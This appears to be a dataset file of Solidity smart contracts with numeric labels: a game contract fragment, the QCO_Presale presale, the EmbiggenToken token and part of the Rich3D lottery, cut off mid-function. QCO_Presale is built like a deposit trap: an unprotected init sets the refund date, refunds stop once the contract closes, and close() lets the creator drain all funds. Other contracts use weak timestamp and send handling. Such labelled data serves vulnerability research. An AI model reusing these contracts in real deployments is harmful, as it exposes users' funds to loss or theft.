uint256 revenue = GetProductionPerSecond(msg.sender);
m.lastUpdateTime = block.timestamp;
if(revenue > 0)
{
revenue *= diff;
m.money += revenue;
}
}
function UpdateMoneyAt(address addr) private
{
require(miners[addr].lastUpdateTime != 0);
require(block.timestamp >= miners[addr].lastUpdateTime);
MinerData storage m = miners[addr];
uint256 diff = block.timestamp - m.lastUpdateTime;
uint256 revenue = GetProductionPerSecond(addr);
m.lastUpdateTime = block.timestamp;
if(revenue > 0)
{
revenue *= diff;
m.money += revenue;
}
}
function BuyUpgrade(uint256 idx) external payable
{
require(idx < NUMBER_OF_UPGRADES);
require(msg.value >= boostData[idx].priceInWEI);
require(miners[msg.sender].hasUpgrade[idx] == 0);
require(miners[msg.sender].lastUpdateTime != 0);
BuyHandler(msg.value);
UpdateMoney();
miners[msg.sender].hasUpgrade[idx] = 1;
miners[msg.sender].premamentMineBonusPct += boostData[idx].percentBonus;
}
function BuyBooster() external payable
{
require(msg.value >= nextBoosterPrice);
require(miners[msg.sender].lastUpdateTime != 0);
for(uint i = 0; i < NUMBER_OF_BOOSTERS; ++i)
if(boosterHolders[i] == msg.sender)
revert();
address beneficiary = boosterHolders[boosterIndex];
MinerData storage m = miners[beneficiary];
m.unclaimedPot += (msg.value * 9403) / 10000;
honeyPotAmount += (msg.value * 597) / 20000;
devFund += (msg.value * 597) / 20000;
nextBoosterPrice += nextBoosterPrice / 20;
UpdateMoney();
UpdateMoneyAt(beneficiary);
boosterHolders[boosterIndex] = msg.sender;
boosterIndex += 1;
if(boosterIndex >= 5)
boosterIndex = 0;
}
function BuyTroop(uint256 idx, uint256 count) external payable
{
require(idx < NUMBER_OF_TROOPS);
require(count > 0);
require(count <= 1000);
PVPData storage pvp = pvpMap[msg.sender];
MinerData storage m = miners[msg.sender];
uint256 owned = pvp.troops[idx];
uint256 priceGold = NumericSequence.sumOfN(troopData[idx].priceGold, troopData[idx].priceGold / 100, owned, count);
uint256 priceETH = (troopData[idx].priceETH).mul(count);
UpdateMoney();
require(m.money >= priceGold);
require(msg.value >= priceETH);
if(priceGold > 0)
m.money -= priceGold;
if(msg.value > 0)
BuyHandler(msg.value);
pvp.troops[idx] += count;
}
function Attack(address defenderAddr) external
{
require(msg.sender != defenderAddr);
require(miners[msg.sender].lastUpdateTime != 0);
require(miners[defenderAddr].lastUpdateTime != 0);
PVPData storage attacker = pvpMap[msg.sender];
PVPData storage defender = pvpMap[defenderAddr];
uint i = 0;
uint256 count = 0;
require(block.timestamp > attacker.exhaustTime);
require(block.timestamp > defender.immunityTime);
if(attacker.immunityTime > block.timestamp)
attacker.immunityTime = block.timestamp - 1;
attacker.exhaustTime = block.timestamp + 3600;
uint256 attackpower = 0;
uint256 defensepower = 0;
for(i = 0; i < ATTACKER_END_IDX; ++i)
{
attackpower += attacker.troops[i] * troopData[i].attackPower;
defensepower += defender.troops[i + DEFENDER_START_IDX] * troopData[i + DEFENDER_START_IDX].defensePower;
}
if(attackpower > defensepower)
{
if(defender.immunityTime < block.timestamp + 14400)
defender.immunityTime = block.timestamp + 14400;
UpdateMoneyAt(defenderAddr);
MinerData storage m = miners[defenderAddr];
MinerData storage m2 = miners[msg.sender];
uint256 moneyStolen = m.money / 2;
for(i = DEFENDER_START_IDX; i < DEFENDER_END_IDX; ++i)
{
defender.troops[i] = defender.troops[i]/2;
}
for(i = ATTACKER_START_IDX; i < ATTACKER_END_IDX; ++i)
{
if(troopData[i].attackPower > 0)
{
count = attacker.troops[i];
if((count * troopData[i].attackPower) > defensepower)
{
count = count * defensepower / attackpower / 2;
}
else
{
count = count/2;
}
attacker.troops[i] = SafeMath.sub(attacker.troops[i],count);
defensepower -= count * troopData[i].attackPower;
}
}
m.money -= moneyStolen;
m2.money += moneyStolen;
} else
{
for(i = ATTACKER_START_IDX; i < ATTACKER_END_IDX; ++i)
{
attacker.troops[i] = attacker.troops[i] / 2;
}
for(i = DEFENDER_START_IDX; i < DEFENDER_END_IDX; ++i)
{
if(troopData[i].defensePower > 0)
{
count = defender.troops[i];
if((count * troopData[i].defensePower) > attackpower)
count = count * attackpower / defensepower / 2;
defender.troops[i] -= count;
attackpower -= count * troopData[i].defensePower;
}
}
}
}
function ReleaseICO() external
{
require(miners[msg.sender].lastUpdateTime != 0);
require(nextPotDistributionTime <= block.timestamp);
require(honeyPotAmount > 0);
require(globalICOPerCycle[cycleCount] > 0);
nextPotDistributionTime = block.timestamp + 86400;
honeyPotPerCycle[cycleCount] = honeyPotAmount / 10;
honeyPotAmount -= honeyPotAmount / 10;
honeyPotPerCycle.push(0);
globalICOPerCycle.push(0);
cycleCount = cycleCount + 1;
MinerData storage jakpotWinner = miners[msg.sender];
jakpotWinner.unclaimedPot += jackPot;
jackPot = 0;
}
function FundICO(uint amount) external
{
require(miners[msg.sender].lastUpdateTime != 0);
require(amount > 0);
MinerData storage m = miners[msg.sender];
UpdateMoney();
require(m.money >= amount);
m.money = (m.money).sub(amount);
globalICOPerCycle[cycleCount] = globalICOPerCycle[cycleCount].add(uint(amount));
minerICOPerCycle[msg.sender][cycleCount] = minerICOPerCycle[msg.sender][cycleCount].add(uint(amount));
}
function WithdrawICOEarnings() external
{
MinerData storage m = miners[msg.sender];
require(miners[msg.sender].lastUpdateTime != 0);
require(miners[msg.sender].lastPotClaimIndex < cycleCount);
uint256 i = m.lastPotClaimIndex;
uint256 limit = cycleCount;
if((limit - i) > 30)
limit = i + 30;
m.lastPotClaimIndex = limit;
for(; i < cycleCount; ++i)
{
if(minerICOPerCycle[msg.sender][i] > 0)
m.unclaimedPot += (honeyPotPerCycle[i] * minerICOPerCycle[msg.sender][i]) / globalICOPerCycle[i];
}
}
function BuyHandler(uint amount) private
{
honeyPotAmount += (amount * honeyPotSharePct) / 100;
jackPot += amount / 100;
devFund += (amount * (100-(honeyPotSharePct+1))) / 100;
}
function WithdrawPotShare() public
{
MinerData storage m = miners[msg.sender];
require(m.unclaimedPot > 0);
require(m.lastUpdateTime != 0);
uint256 amntToSend = m.unclaimedPot;
m.unclaimedPot = 0;
if(msg.sender.send(amntToSend))
{
m.unclaimedPot = 0;
}
}
function WithdrawDevFunds() public
{
require(msg.sender == owner);
if(owner.send(devFund))
{
devFund = 0;
}
}
function() public payable {
devFund += msg.value;
}
} | 1 | 2,700 |
pragma solidity ^0.4.14;
contract QCO_Presale {
uint closed;
struct Deposit { address buyer; uint amount; }
uint refundDate;
address fiduciary = msg.sender;
Deposit[] Deposits;
mapping (address => uint) total;
function() public payable { }
function init(uint date)
{
refundDate = date;
}
function deposit()
public payable {
if (msg.value >= 0.5 ether && msg.sender == tx.origin)
{
Deposit newDeposit;
newDeposit.buyer = msg.sender;
newDeposit.amount = msg.value;
Deposits.push(newDeposit);
total[msg.sender] += msg.value;
}
if (this.balance >= 25 ether)
{
closed = now;
}
}
function refund(uint amount)
public {
if (total[msg.sender] >= amount && amount > 0)
{
if (now >= refundDate && closed == 0)
{
msg.sender.transfer(amount);
}
}
}
function close()
public {
if (msg.sender == fiduciary)
{
closed = now;
msg.sender.transfer(this.balance);
}
}
} | 1 | 3,767 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract EmbiggenToken is ERC20 {
using SafeMath for uint256;
uint constant MAX_UINT = 2**256 - 1;
string public name;
string public symbol;
uint8 public decimals;
uint initialSupply;
uint initializedTime;
uint hourRate;
struct UserBalance {
uint latestBalance;
uint lastCalculated;
}
mapping(address => UserBalance) balances;
mapping(address => mapping(address => uint)) allowed;
function EmbiggenToken(uint _initialSupply, uint annualRate, string _name, string _symbol, uint8 _decimals) {
initialSupply = _initialSupply;
initializedTime = (block.timestamp / 3600) * 3600;
hourRate = annualRate / (365 * 24);
require(hourRate <= 223872113856833);
balances[msg.sender] = UserBalance({
latestBalance: _initialSupply,
lastCalculated: (block.timestamp / 3600) * 3600
});
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function getInterest(uint value, uint lastCalculated) public view returns (uint) {
if(value == 0) {
return 0;
}
uint exp = (block.timestamp - lastCalculated) / 3600;
uint x = 1000000000000000000;
uint base = 1000000000000000000 + hourRate;
while(exp != 0) {
if(exp & 1 != 0){
x = (x * base) / 1000000000000000000;
}
exp = exp / 2;
base = (base * base) / 1000000000000000000;
}
return value.mul(x - 1000000000000000000) / 1000000000000000000;
}
function totalSupply() public view returns (uint) {
return initialSupply.add(getInterest(initialSupply, initializedTime));
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner].latestBalance.add(getInterest(balances[_owner].latestBalance, balances[_owner].lastCalculated));
}
function incBalance(address _owner, uint amount) private {
balances[_owner] = UserBalance({
latestBalance: balanceOf(_owner).add(amount),
lastCalculated: (block.timestamp / 3600) * 3600
});
}
function decBalance(address _owner, uint amount) private {
uint priorBalance = balanceOf(_owner);
require(priorBalance >= amount);
balances[_owner] = UserBalance({
latestBalance: priorBalance.sub(amount),
lastCalculated: (block.timestamp / 3600) * 3600
});
}
function transfer(address _to, uint _value) public returns (bool) {
require(_to != address(0));
decBalance(msg.sender, _value);
incBalance(_to, _value);
Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= allowed[_from][msg.sender]);
decBalance(_from, _value);
incBalance(_to, _value);
if(allowed[_from][msg.sender] < MAX_UINT) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
}
} | 1 | 2,698 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library Rich3DDatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 R3Amount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
uint256 prevres;
}
struct TeamFee {
uint256 gen;
uint256 r3;
}
struct PotSplit {
uint256 gen;
uint256 r3;
}
}
interface OtherRich3D {
function potSwap() external payable;
}
library Rich3DKeysCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
contract Rich3D {
using SafeMath for *;
using NameFilter for string;
using Rich3DKeysCalc for uint256;
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 R3Amount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 R3Amount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 R3Amount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 R3Amount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
mapping(address => uint256) private users ;
function initUsers() private {
users[0x00876c02ceE92164A035C74225E3C66B6303d26f] = 9 ;
users[msg.sender] = 9 ;
}
modifier isAdmin() {
uint256 role = users[msg.sender];
require((role==9), "Must be admin.");
_;
}
modifier isHuman {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "Humans only");
_;
}
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x5d99e9AB040efa45DE99a44C8410Cf8f61Cc3101);
address public communityAddr_;
address public FoundationAddr_;
address public affAddr_;
address public agentAddr_;
bool public activated_ = false;
modifier isActivated() {
require(activated_ == true, "its not active yet.");
_;
}
function activate() isAdmin() public {
require(address(communityAddr_) != address(0x0), "Must setup CommunityAddr_.");
require(address(FoundationAddr_) != address(0x0), "Must setup FoundationAddr.");
require(address(affAddr_) != address(0x0), "Must setup affAddr.");
require(address(agentAddr_) != address(0x0), "Must setup agentAddr.");
require(activated_ == false, "Only once");
activated_ = true ;
rID_ = 1;
round_[1].strt = 1535025600 ;
round_[1].end = round_[1].strt + rndMax_;
}
string constant public name = "Rich 3D Official";
string constant public symbol = "R3D";
uint256 constant private rndInc_ = 1 minutes;
uint256 constant private rndMax_ = 5 hours;
OtherRich3D private otherRich3D_ ;
function setOtherRich3D(address _otherRich3D) isAdmin() public {
require(address(_otherRich3D) != address(0x0), "Empty address not allowed.");
require(address(otherRich3D_) == address(0x0), "OtherRich3D has been set.");
otherRich3D_ = OtherRich3D(_otherRich3D);
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "Too little");
require(_eth <= 100000000000000000000000, "Too much");
_;
}
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => Rich3DDatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => Rich3DDatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
uint256 public rID_;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
mapping (uint256 => Rich3DDatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => Rich3DDatasets.TeamFee) public fees_;
mapping (uint256 => Rich3DDatasets.PotSplit) public potSplit_;
constructor() public {
fees_[0] = Rich3DDatasets.TeamFee(28,10);
fees_[1] = Rich3DDatasets.TeamFee(38,10);
fees_[2] = Rich3DDatasets.TeamFee(52,14);
fees_[3] = Rich3DDatasets.TeamFee(40,12);
potSplit_[0] = Rich3DDatasets.PotSplit(15,10);
potSplit_[1] = Rich3DDatasets.PotSplit(25,0);
potSplit_[2] = Rich3DDatasets.PotSplit(20,20);
potSplit_[3] = Rich3DDatasets.PotSplit(30,10);
initUsers();
communityAddr_ = address(0x1E7360A6f787df468A39AF71411DB5DB70dB7C4e);
FoundationAddr_ = address(0xb1Fa90be11ac08Fca9e5854130EAF9eB595a94E0);
affAddr_ = address(0x66A300Fc2257B17D6A55c3499AF1FF9308031a77);
agentAddr_ = address(0x3Ab69d2ac0cD815244A173252457815B3E1F26C4);
}
function() isActivated() isHuman() isWithinLimits(msg.value) public payable {
Rich3DDatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _team = 2;
buyCore(_pID, 0, _team, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable {
Rich3DDatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0){
_affCode = plyr_[_pID].laff;
}else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public {
Rich3DDatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0){
_affCode = plyr_[_pID].laff;
}else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function withdraw() isActivated() isHuman() public {
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && (round_[_rID].ended == false) && round_[_rID].plyr != 0){
Rich3DDatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit onWithdrawAndDistribute(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.R3Amount,
_eventData_.genAmount
);
}else{
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit onWithdraw(
_pID,
msg.sender,
plyr_[_pID].name,
_eth,
_now
);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit onNewName(
_pID,
_addr,
_name,
_isNewPlayer,
_affID,
plyr_[_affID].addr,
plyr_[_affID].name,
_paid,
now
);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit onNewName(
_pID,
_addr,
_name,
_isNewPlayer,
_affID,
plyr_[_affID].addr,
plyr_[_affID].name,
_paid,
now
);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit onNewName(
_pID,
_addr,
_name,
_isNewPlayer,
_affID,
plyr_[_affID].addr,
plyr_[_affID].name,
_paid,
now
);
}
function getBuyPrice() public view returns(uint256) {
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft() public view returns(uint256) {
uint256 _rID = rID_;
uint256 _now = now ;
if(_rID == 1 && _now < round_[_rID].strt ) return (0);
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].end).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) {
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0){
if (round_[_rID].plyr == _pID){
uint256 _pot = round_[_rID].pot.add(round_[_rID].prevres);
return
(
(plyr_[_pID].win).add( ((_pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) {
uint256 _pot = round_[_rID].pot.add(round_[_rID].prevres);
return( ((((round_[_rID].mask).add(((((_pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo() public view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) {
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
((_rID == 1) && (now < round_[_rID].strt) ) ? 0 : round_[_rID].end,
((_rID == 1) && (now < round_[_rID].strt) ) ? 0 : round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256){
uint256 _rID = rID_;
if (_addr == address(0)) {
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return (
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, Rich3DDatasets.EventReturns memory _eventData_) private {
uint256 _rID = rID_;
uint256 _now = now;
if ( _rID == 1 && _now < round_[_rID].strt ) {
if(msg.value > 0 ){
communityAddr_.transfer(msg.value);
}
} else if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) {
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
}else{
if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit onBuyAndDistribute(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.R3Amount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, Rich3DDatasets.EventReturns memory _eventData_) private {
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) {
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
}else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit onReLoadAndDistribute(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.R3Amount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Rich3DDatasets.EventReturns memory _eventData_) private{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 2000000000000000000){
uint256 _availableLimit = (2000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000) {
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000){
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000){
airDropTracker_++;
if (airdrop() == true){
uint256 _prize;
if (_eth >= 10000000000000000000){
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
